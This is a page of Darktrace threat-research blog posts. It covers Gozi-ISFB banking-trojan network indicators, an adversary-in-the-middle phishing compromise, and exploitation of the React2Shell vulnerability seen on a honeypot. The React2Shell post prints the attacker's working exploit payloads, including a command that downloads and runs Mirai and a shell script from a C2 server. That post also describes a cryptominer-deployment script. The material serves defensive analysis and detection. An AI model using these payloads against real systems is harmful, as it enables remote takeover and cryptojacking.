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April 26, 2023

Gozi ISFB Malware Detection Insights and Analysis

Uncover how Gozi ISFB operates and how Darktrace’s detection capabilities help secure your systems against this versatile malware.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Torres
Cyber Analyst
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26
Apr 2023

Mirroring the overall growth of the cybersecurity landscape and the advancement of security tool capabilities, threat actors are continuously forced to keep pace. Today, threat actors are bringing novel malware into the wild, creating new attack vectors, and finding ways to avoid the detection of security tools. 

One notable example of a constantly adapting type of malware can be seen with banking trojans, a type of malware designed to steal confidential information, such as banking credentials, used by attackers for financial gain. Gozi-ISFB is a widespread banking trojan that has previously been referred to as ‘the malware with a thousand faces’ and, as it name might suggest, has been known under various names such as Gozi, Ursnif, Papras and Rovnix to list a few.

Between November 2022 and January 2023, a rise in Gozi-ISFB malware related activity was observed across Darktrace customer environments and was investigated by the Darktrace Threat Research team. Leveraging its Self-Learning AI, Darktrace was able to identify activity related to this banking trojan, regardless of the attack vectors or delivery methods utilized by threat actors.

We have moderate to high confidence that the series of activities observed is associated with Gozi-ISFB malware and high confidence in the indicators of compromise identified which are related to the post-compromise activities from Gozi-ISFB malware. 

Gozi-ISFB Background

The Gozi-ISFB malware was first observed in 2011, stemming from the source code of another family of malware, Gozi v1, which in turn borrowed source code from the Ursnif malware strain.  

Typically, the initial access payloads of Gozi-ISFB would require an endpoint to enable a macro on their device, subsequently allowing a pre-compiled executable file (.exe) to be gathered from an attacker-controlled server, and later executed on the target device.

However, researchers have recently observed Gozi-ISFB actors using additional and more advanced capabilities to gain access to organizations networks. These capabilities range from credential harvest, surveilling user keystrokes, diverting browser traffic from banking websites, remote desktop access, and the use of domain generation algorithms (DGA) to create command-and-control (C2) domains to avoid the detection and blocking of traditional security tools. 

Ultimately, the goal of Gozi-ISFB malware is to gather confidential information from infected devices by connecting to C2 servers and installing additional malware modules on the network. 

Darktrace Coverage of Gozi-ISFB 

Unlike traditional security approaches, Darktrace DETECT/Network™ can identify malicious activity because Darktrace models build an understanding of a device’s usual pattern of behavior, rather than using a static list of indicators of compromise (IoCs) or rules and signatures. As such, Darktrace is able to instantly detect compromised devices that deviate from their expected behavioral patterns, engaging in activity such as unusual SMB connections or connecting to newly created malicious endpoints or C2 infrastructure. In the event that Darktrace detects malicious activity, it would automatically trigger an alert, notifying the customer of an ongoing security concern. 

Regarding the Gozi-ISFB attack process, initial attack vectors commonly include targeted phishing campaigns, where the recipient would receive an email with an attached Microsoft Office document containing macros or a Zip archive file. Darktrace frequently observes malicious emails like this across the customer base and is able to autonomously detect and action them using Darktrace/Email™. In the following cases, the clients who had Darktrace/Email did not have evidence of compromise through their corporate email infrastructure, suggesting devices were likely compromised via the access of personal email accounts. In other cases, the customers did not have Darktrace/Email enabled on their networks.

Upon downloading and opening the malicious attachment included in the phishing email, the payload subsequently downloads an additional .exe or dynamic link library (DLL) onto the device. Following this download, the malware will ultimately begin to collect sensitive data from the infected device, before exfiltrating it to the C2 server associated with Gozi-ISFB. Darktrace was able to demonstrate and detect the retrieval of Gozi-ISFB malware, as well as subsequent malicious communication on multiple customer environments. 

In some attack chains observed, the infected device made SMB connections to the rare external endpoint ’62.173.138[.]28’ via port 445. Darktrace recognized that the device used unusual credentials for this destination endpoint and further identified it performing SMB reads on the share ‘\\62.173.138[.]28\Agenzia’. Darktrace also observed that the device downloaded the executable file ‘entrat.exe’ from this connection as can be seen in Figure 1.

Figure 1: Model breach event log showing an infected device making SMB read actions on the share ‘\\62.173.138[.]28\Agenzia’. Darktrace observed the device downloading the executable file ‘entrat.exe’ from this connection.

Subsequently, the device performed a separate SMB login to the same external endpoint using a credential identical to the device's name. Shortly after, the device performed a SMB directory query from the root share drive for the file path to the same endpoint. 

Figure 2:SMB directory query from the root share drive for the file path to the same endpoint, ’62.173.138[.]28’.

In Gozi-ISFB compromises investigated by the Threat Research team, Darktrace commonly observed model breaches for ‘Multiple HTTP POSTs to Rare Hostname’ and the use of the Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)’ user agent. 

Devices were additionally observed making external connections over port 80 (TCP, HTTP) to endpoints associated with Gozi-ISFB. Regarding these connections, C2 communication was observed used configurations of URI path and resource file extension that claimed to be related to images within connections that were actually GET or POST request URIs. This is a commonly used tactic by threat actors to go under the radar and evade the detection of security teams.  

An example of this type of masqueraded URI can be seen below:

In another similar example investigated by the Threat Research team, Darktrace detected similar external connectivity associated with Gozi-ISFB malware. In this case, DETECT identified external connections to two separate hostnames, namely ‘gameindikdowd[.]ru’ and ‘jhgfdlkjhaoiu[.]su’,  both of which have been associated to Gozi-ISFB by OSINT sources. This specific detection included HTTP beaconing connections to endpoint, gameindikdowd[.]ru .

Details observed from this event: 

Destination IP: 134.0.118[.]203

Destination port: 80

ASN: AS197695 Domain names registrar REG.RU, Ltd

User agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64

The same device later made anomalous HTTP POST requests to a known Gozi-ISFB endpoint, jhgfdlkjhaoiu[.]su. 

Details observed:

Destination port: 80

ASN: AS197695 Domain names registrar REG.RU, Ltd

User agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64

Figure 3: Packet Capture (PCAP) with the device conducting anomalous HTTP POST requests to a Gozi-ISFB related IOC, ‘jhgfdlkjhaoiu[.]su’.

Conclusions 

With constantly changing attack infrastructure and new methods of exploitation tested and leveraged hour upon hour, it is critical for security teams to employ tools that help them stay ahead of the curve to avoid critical damage from compromise.  

Faced with a notoriously adaptive malware strain like Gozi-ISFB, Darktrace demonstrated its ability to autonomously detect malicious activity based upon more than just known IoCs and attack vectors. Despite the multitude of different attack vectors utilized by threat actors, Darktrace was able to detect Gozi-ISFB activity at various stages of the kill chain using its anomaly-based detection to identify unusual activity or deviations from normal patterns of life. Using its Self-Learning AI, Darktrace successfully identified infected devices and brought them to the immediate attention of customer security teams, ultimately preventing infections from leading to further compromise.  

The Darktrace suite of products, including DETECT/Network, is uniquely placed to offer customers an unrivaled level of network security that can autonomously identify and respond to arising threats against their networks in real time, preventing suspicious activity from leading to damaging network compromises.

Credit to: Paul Jennings, Principal Analyst Consultant and the Threat Research Team

Appendices

List of IOCs

134.0.118[.]203 - IP Address - Gozi-ISFB C2 Endpoint

62.173.138[.]28 - IP Address - Gozi-ISFB  C2 Endpoint

45.130.147[.]89 - IP Address - Gozi-ISFB  C2 Endpoint

94.198.54[.]97 - IP Address - Gozi-ISFB C2 Endpoint

91.241.93[.]111 - IP Address - Gozi-ISFB  C2 Endpoint

89.108.76[.]56 - IP Address - Gozi-ISFB  C2 Endpoint

87.106.18[.]141 - IP Address - Gozi-ISFB  C2 Endpoint

35.205.61[.]67 - IP Address - Gozi-ISFB  C2 Endpoint

91.241.93[.]98 - IP Address - Gozi-ISFB  C2 Endpoint

62.173.147[.]64 - IP Address - Gozi-ISFB C2 Endpoint

146.70.113[.]161 - IP Address - Gozi-ISFB  C2 Endpoint 

iujdhsndjfks[.]ru - Hostname - Gozi-ISFB C2 Hostname

reggy505[.]ru - Hostname - Gozi-ISFB  C2 Hostname

apr[.]intoolkom[.]at - Hostname - Gozi-ISFB  C2 Hostname

jhgfdlkjhaoiu[.]su - Hostname - Gozi-ISFB  C2 Hostname

gameindikdowd[.]ru - Hostname - Gozi-ISFB  Hostname

chnkdgpopupser[.]at - Hostname – Gozi-ISFB C2 Hostname

denterdrigx[.]com - Hostname – Gozi-ISFB C2 Hostname

entrat.exe - Filename – Gozi-ISFB Related Filename

Darktrace Model Coverage

Anomalous Connection / Multiple HTTP POSTs to Rare Hostname

Anomalous Connection / Posting HTTP to IP Without Hostname

Anomalous Connection / New User Agent to IP Without Hostname

Compromise / Agent Beacon (Medium Period)

Anomalous File / Application File Read from Rare Endpoint

Device / Suspicious Domain

Mitre Attack and Mapping

Tactic: Application Layer Protocol: Web Protocols

Technique: T1071.001

Tactic: Drive-by Compromise

Technique: T1189

Tactic: Phishing: Spearphishing Link

Technique: T1566.002

Model Detection

Anomalous Connection / Multiple HTTP POSTs to Rare Hostname - T1071.001

Anomalous Connection / Posting HTTP to IP Without Hostname - T1071.001

Anomalous Connection / New User Agent to IP Without Hostname - T1071.001

Compromise / Agent Beacon (Medium Period) - T1071.001

Anomalous File / Application File Read from Rare Endpoint - N/A

Device / Suspicious Domain - T1189, T1566.002

References

https://threatfox.abuse.ch/browse/malware/win.isfb/

https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-216a

https://www.fortinet.com/blog/threat-research/new-variant-of-ursnif-continuously-targeting-italy#:~:text=Ursnif%20(also%20known%20as%20Gozi,Italy%20over%20the%20past%20year

https://medium.com/csis-techblog/chapter-1-from-gozi-to-isfb-the-history-of-a-mythical-malware-family-82e592577fef

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Torres
Cyber Analyst

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December 15, 2025

Beyond MFA: Detecting Adversary-in-the-Middle Attacks and Phishing with Darktrace

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What is an Adversary-in-the-middle (AiTM) attack?

Adversary-in-the-Middle (AiTM) attacks are a sophisticated technique often paired with phishing campaigns to steal user credentials. Unlike traditional phishing, which multi-factor authentication (MFA) increasingly mitigates, AiTM attacks leverage reverse proxy servers to intercept authentication tokens and session cookies. This allows attackers to bypass MFA entirely and hijack active sessions, stealthily maintaining access without repeated logins.

This blog examines a real-world incident detected during a Darktrace customer trial, highlighting how Darktrace / EMAILTM and Darktrace / IDENTITYTM identified the emerging compromise in a customer’s email and software-as-a-service (SaaS) environment, tracked its progression, and could have intervened at critical moments to contain the threat had Darktrace’s Autonomous Response capability been enabled.

What does an AiTM attack look like?

Inbound phishing email

Attacks typically begin with a phishing email, often originating from the compromised account of a known contact like a vendor or business partner. These emails will often contain malicious links or attachments leading to fake login pages designed to spoof legitimate login platforms, like Microsoft 365, designed to harvest user credentials.

Proxy-based credential theft and session hijacking

When a user clicks on a malicious link, they are redirected through an attacker-controlled proxy that impersonates legitimate services.  This proxy forwards login requests to Microsoft, making the login page appear legitimate. After the user successfully completes MFA, the attacker captures credentials and session tokens, enabling full account takeover without the need for reauthentication.

Follow-on attacks

Once inside, attackers will typically establish persistence through the creation of email rules or registering OAuth applications. From there, they often act on their objectives, exfiltrating sensitive data and launching additional business email compromise (BEC) campaigns. These campaigns can include fraudulent payment requests to external contacts or internal phishing designed to compromise more accounts and enable lateral movement across the organization.

Darktrace’s detection of an AiTM attack

At the end of September 2025, Darktrace detected one such example of an AiTM attack on the network of a customer trialling Darktrace / EMAIL and Darktrace / IDENTITY.

In this instance, the first indicator of compromise observed by Darktrace was the creation of a malicious email rule on one of the customer’s Office 365 accounts, suggesting the account had likely already been compromised before Darktrace was deployed for the trial.

Darktrace / IDENTITY observed the account creating a new email rule with a randomly generated name, likely to hide its presence from the legitimate account owner. The rule marked all inbound emails as read and deleted them, while ignoring any existing mail rules on the account. This rule was likely intended to conceal any replies to malicious emails the attacker had sent from the legitimate account owner and to facilitate further phishing attempts.

Darktrace’s detection of the anomalous email rule creation.
Figure 1: Darktrace’s detection of the anomalous email rule creation.

Internal and external phishing

Following the creation of the email rule, Darktrace / EMAIL observed a surge of suspicious activity on the user’s account. The account sent emails with subject lines referencing payment information to over 9,000 different external recipients within just one hour. Darktrace also identified that these emails contained a link to an unusual Google Drive endpoint, embedded in the text “download order and invoice”.

Darkrace’s detection of an unusual surge in outbound emails containing suspicious content, shortly following the creation of a new email rule.
Figure 2: Darkrace’s detection of an unusual surge in outbound emails containing suspicious content, shortly following the creation of a new email rule.
Darktrace / EMAIL’s detection of the compromised account sending over 9,000 external phishing emails, containing an unusual Google Drive link.
Figure 3: Darktrace / EMAIL’s detection of the compromised account sending over 9,000 external phishing emails, containing an unusual Google Drive link.

As Darktrace / EMAIL flagged the message with the ‘Compromise Indicators’ tag (Figure 2), it would have been held automatically if the customer had enabled default Data Loss Prevention (DLP) Action Flows in their email environment, preventing any external phishing attempts.

Figure 4: Darktrace / EMAIL’s preview of the email sent by the offending account.
Figure 4: Darktrace / EMAIL’s preview of the email sent by the offending account.

Darktrace analysis revealed that, after clicking the malicious link in the email, recipients would be redirected to a convincing landing page that closely mimicked the customer’s legitimate branding, including authentic imagery and logos, where prompted to download with a PDF named “invoice”.

Figure 5: Download and login prompts presented to recipients after following the malicious email link, shown here in safe view.

After clicking the “Download” button, users would be prompted to enter their company credentials on a page that was likely a credential-harvesting tool, designed to steal corporate login details and enable further compromise of SaaS and email accounts.

Darktrace’s Response

In this case, Darktrace’s Autonomous Response was not fully enabled across the customer’s email or SaaS environments, allowing the compromise to progress,  as observed by Darktrace here.

Despite this, Darktrace / EMAIL’s successful detection of the malicious Google Drive link in the internal phishing emails prompted it to suggest ‘Lock Link’, as a recommended action for the customer’s security team to manually apply. This action would have automatically placed the malicious link behind a warning or screening page blocking users from visiting it.

Autonomous Response suggesting locking the malicious Google Drive link sent in internal phishing emails.
Figure 6: Autonomous Response suggesting locking the malicious Google Drive link sent in internal phishing emails.

Furthermore, if active in the customer’s SaaS environment, Darktrace would likely have been able to mitigate the threat even earlier, at the point of the first unusual activity: the creation of a new email rule. Mitigative actions would have included forcing the user to log out, terminating any active sessions, and disabling the account.

Conclusion

AiTM attacks represent a significant evolution in credential theft techniques, enabling attackers to bypass MFA and hijack active sessions through reverse proxy infrastructure. In the real-world case we explored, Darktrace’s AI-driven detection identified multiple stages of the attack, from anomalous email rule creation to suspicious internal email activity, demonstrating how Autonomous Response could have contained the threat before escalation.

MFA is a critical security measure, but it is no longer a silver bullet. Attackers are increasingly targeting session tokens rather than passwords, exploiting trusted SaaS environments and internal communications to remain undetected. Behavioral AI provides a vital layer of defense by spotting subtle anomalies that traditional tools often miss

Security teams must move beyond static defenses and embrace adaptive, AI-driven solutions that can detect and respond in real time. Regularly review SaaS configurations, enforce conditional access policies, and deploy technologies that understand “normal” behavior to stop attackers before they succeed.

Credit to David Ison (Cyber Analyst), Bertille Pierron (Solutions Engineer), Ryan Traill (Analyst Content Lead)

Appendices

Models

SaaS / Anomalous New Email Rule

Tactic – Technique – Sub-Technique  

Phishing - T1566

Adversary-in-the-Middle - T1557

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December 15, 2025

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within Hours

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What is React2Shell?

CVE-2025-55182, also known as React2Shell is a vulnerability within React server components that allows for an unauthenticated attacker to gain remote code execution with a single request. The severity of this vulnerability and ease of exploitability has led to threat actors opportunistically exploiting it within a matter of days of its public disclosure.

Darktrace security researchers rapidly deployed a new honeypot using the Cloudypots system, allowing for the monitoring of exploitation of the vulnerability in the wild.

Cloudypots is a system that enables virtual instances of vulnerable applications to be deployed in the cloud and monitored for attack. This approach allows for Darktrace to deploy high-interaction, realistic honeypots, that appear as genuine deployments of vulnerable software to attackers.

This blog will explore one such campaign, nicknamed “Nuts & Bolts” based on the naming used in payloads.

Analysis of the React2Shell exploit

The React2Shell exploit relies on an insecure deserialization vulnerability within React Server Components’ “Flight” protocol. This protocol uses a custom serialization scheme that security researchers discovered could be abused to run arbitrary JavaScript by crafting the serialized data in a specific way. This is possible because the framework did not perform proper type checking, allowing an attacker to reference types that can be abused to craft a chain that resolves to an anonymous function, and then invoke it with the desired JavaScript as a promise chain.

This code execution can then be used to load the ‘child_process’ node module and execute any command on the target server.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day [1]. Within 30 hours of the patch, a publicly available proof of concept emerged that could be used to exploit any vulnerable server. This rapid timeline left many servers remaining unpatched by the time attackers began actively exploiting the vulnerability.

Initial access

The threat actor behind the “Nuts & Bolts” campaign uses a spreader server with IP 95.214.52[.]170 to infect victims. The IP appears to be located in Poland and is associated with a hosting provided known as MEVSPACE. The spreader is highly aggressive, launching exploitation attempts, roughly every hour.

When scanning, the spreader primarily targets port 3000, which is the default port for a NEXT.js server in a default or development configuration. It is possible the attacker is avoiding port 80 and 443, as these are more likely to have reverse proxies or WAFs in front of the server, which could disrupt exploitation attempts.

When the spreader finds a new host with port 3000 open, it begins by testing if it is vulnerable to React2Shell by sending a crafted request to run the ‘whoami’ command and store the output in an error digest that is returned to the attacker.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(whoami)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

The above snippet is the core part of the crafted request that performs the execution. This allows the attacker to confirm that the server is vulnerable and fetch the user account under which the NEXT.js process is running, which is useful information for determining if a target is worth attacking.

From here, the attacker then sends an additional request to run the actual payload on the victim server.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;(busybox wget -O x86 hxxp://89[.]144.31.18/nuts/x86%7C%7Ccurl -s -o x86 hxxp://89[.]144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||curl -s hxxp://89[.]144.31.18/nuts/bolts)%7Csh)&',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

This snippet attempts to deploy several payloads by using wget (or curl if wget fails) into the /dev directory and execute them. The x86 binary is a Mirai variant that does not appear to have any major alterations to regular Mirai. The ‘nuts/bolts’ endpoint returns a bash script, which is then executed. The script includes several log statements throughout its execution to provide visibility into which parts ran successfully. Similar to the ‘whoami’ request, the output is placed in an error digest for the attacker to review.

In this case, the command-and-control (C2) IP, 89[.]144.31.18, is hosted on a different server operated by a German hosting provider named myPrepaidServer, which offers virtual private server (VPS) services and accepts cryptocurrency payments [2].  

Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.
Figure 1: Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.

Nuts & Bolts script

This script’s primary purpose is to prepare the box for a cryptocurrency miner.

The script starts by attempting to terminate any competing cryptocurrency miner processes using ‘pkill’ that match on a specific name. It will check for and terminate:

  • xmrig
  • softirq (this also matches a system process, which it will fail to kill each invocation)
  • watcher
  • /tmp/a.sh
  • health.sh

Following this, the script will checks for a process named “fghgf”. If it is not running, it will retrieve hxxp://89[.]144.31.18/nuts/lc and write it to /dev/ijnegrrinje.json, as well as retrieving hxxp://89[.]144.31.18/nuts/x and writing it to /dev/fghgf. The script will the executes /dev/fghgf -c /dev/ijnegrrinje.json -B in the background, which is an XMRig miner.

The XMRig deployment script.
Figure 2: The XMRig deployment script.

The miner is configured to connect to two private pools at 37[.]114.37.94 and 37[.]114.37.82, using  “poop” as both the username and password. The use of a private pool conceals the associated wallet address. From here, a short bash script is dropped to /dev/stink.sh. This script continuously crawls all running processes on the system and reads their /proc/pid/exe path, which contains a copy of the original executable that was run. The ‘strings’ utility is run to output all valid ASCII strings found within the data and checks to see if contains either “xmrig”, “rondo” or “UPX 5”. If so, it sends a SIGKILL to the process to terminate it.

Additionally, it will run ‘ls –l’ on the exe path in case it is symlinked to a specific path or has been deleted. If the output contains any of the following strings, the script sends a SIGKILL to terminate the program:

  • (deleted) - Indicates that the original executable was deleted from the disk, a common tactic used by malware to evade detection.
  • xmrig
  • hash
  • watcher
  • /dev/a
  • softirq
  • rondo
  • UPX 5.02
 The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.
Figure 3: The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.

Darktrace observations in customer environments  

Following the public disclosure of CVE‑2025‑55182 on December, Darktrace observed multiple exploitation attempts across customer environments beginning around December 4. Darktrace triage identified a series of consistent indicators of compromise (IoCs). By consolidating indicators across multiple deployments and repeat infrastructure clusters, Darktrace identified a consistent kill chain involving shell‑script downloads and HTTP beaconing.

In one example, on December 5, Darktrace observed external connections to malicious IoC endpoints (172.245.5[.]61:38085, 5.255.121[.]141, 193.34.213[.]15), followed by additional connections to other potentially malicious endpoint. These appeared related to the IoCs detailed above, as one suspicious IP address shared the same ASN. After this suspicious external connectivity, Darktrace observed cryptomining-related activity. A few hours later, the device initiated potential lateral movement activity, attempting SMB and RDP sessions with other internal devices on the network. These chain of events appear to identify this activity to be related to the malicious campaign of the exploitation of React2Shell vulnerability.

Generally, outbound HTTP traffic was observed to ports in the range of 3000–3011, most notably port 3001. Requests frequently originated from scripted tools, with user agents such as curl/7.76.1, curl/8.5.0, Wget/1.21.4, and other generic HTTP signatures. The URIs associated with these requests included paths like /nuts/x86 and /n2/x86, as well as long, randomized shell script names such as /gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh. In some cases, parameterized loaders were observed, using query strings like: /?h=<ip>&p=<port>&t=<proto>&a=l64&stage=true.  

Infrastructure analysis revealed repeated callbacks to IP-only hosts linked to ASN AS200593 (Prospero OOO), a well-known “bulletproof” hosting provider often utilized by cyber criminals [3], including addresses such as 193.24.123[.]68:3001 and 91.215.85[.]42:3000, alongside other nodes hosting payloads and staging content.

Darktrace model coverage

Darktrace model coverage consistently highlighted behaviors indicative of exploitation. Among the most frequent detections were anomalous server activity on new, non-standard ports and HTTP requests posted to IP addresses without hostnames, often using uncommon application protocols. Models also flagged the appearance of new user agents such as curl and wget originating from internet-facing systems, representing an unusual deviation from baseline behavior.  

Additionally, observed activity included the download of scripts and executable files from rare external sources, with Darktrace’s Autonomous Response capability intervening to block suspicious transfers, when enabled. Beaconing patterns were another strong signal, with detections for HTTP beaconing to new or rare IP addresses, sustained SSL or HTTP increases, and long-running compromise indicators such as “Beacon for 4 Days” and “Slow Beaconing.”

Conclusion

While this opportunistic campaign to exploit the React2Shell exploit is not particularly sophisticated, it demonstrates that attackers can rapidly prototyping new methods to take advantage of novel vulnerabilities before widespread patching occurs. With a time to infection of only two minutes from the initial deployment of the honeypot, this serves as a clear reminder that patching vulnerabilities as soon as they are released is paramount.

Credit to Nathaniel Bill (Malware Research Engineer), George Kim (Analyst Consulting Lead – AMS), Calum Hall (Technical Content Researcher), Tara Gould (Malware Research Lead, and Signe Zaharka (Principal Cyber Analyst).

Edited by Ryan Traill (Analyst Content Lead)

Appendices

IoCs

Spreader IP - 95[.]214.52.170

C2 IP - 89[.]144.31.18

Mirai hash - 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb

Xmrig hash - aa6e0f4939135feed4c771e4e4e9c22b6cedceb437628c70a85aeb6f1fe728fa

Config hash - 318320a09de5778af0bf3e4853d270fd2d390e176822dec51e0545e038232666

Monero pool 1 - 37[.]114.37.94

Monero pool 2 - 37[.]114.37.82

References  

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-55182

[2] https://myprepaid-server.com/

[3] https://krebsonsecurity.com/2025/02/notorious-malware-spam-host-prospero-moves-to-kaspersky-lab

Darktrace Model Coverage

Anomalous Connection::Application Protocol on Uncommon Port

Anomalous Connection::New User Agent to IP Without Hostname

Anomalous Connection::Posting HTTP to IP Without Hostname

Anomalous File::Script and EXE from Rare External

Anomalous File::Script from Rare External Location

Anomalous Server Activity::New User Agent from Internet Facing System

Anomalous Server Activity::Rare External from Server

Antigena::Network::External Threat::Antigena Suspicious File Block

Antigena::Network::External Threat::Antigena Watched Domain Block

Compromise::Beacon for 4 Days

Compromise::Beacon to Young Endpoint

Compromise::Beaconing Activity To External Rare

Compromise::High Volume of Connections with Beacon Score

Compromise::HTTP Beaconing to New IP

Compromise::HTTP Beaconing to Rare Destination

Compromise::Large Number of Suspicious Failed Connections

Compromise::Slow Beaconing Activity To External Rare

Compromise::Sustained SSL or HTTP Increase

Device::New User Agent

Device::Threat Indicator

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About the author
Nathaniel Bill
Malware Research Engineer
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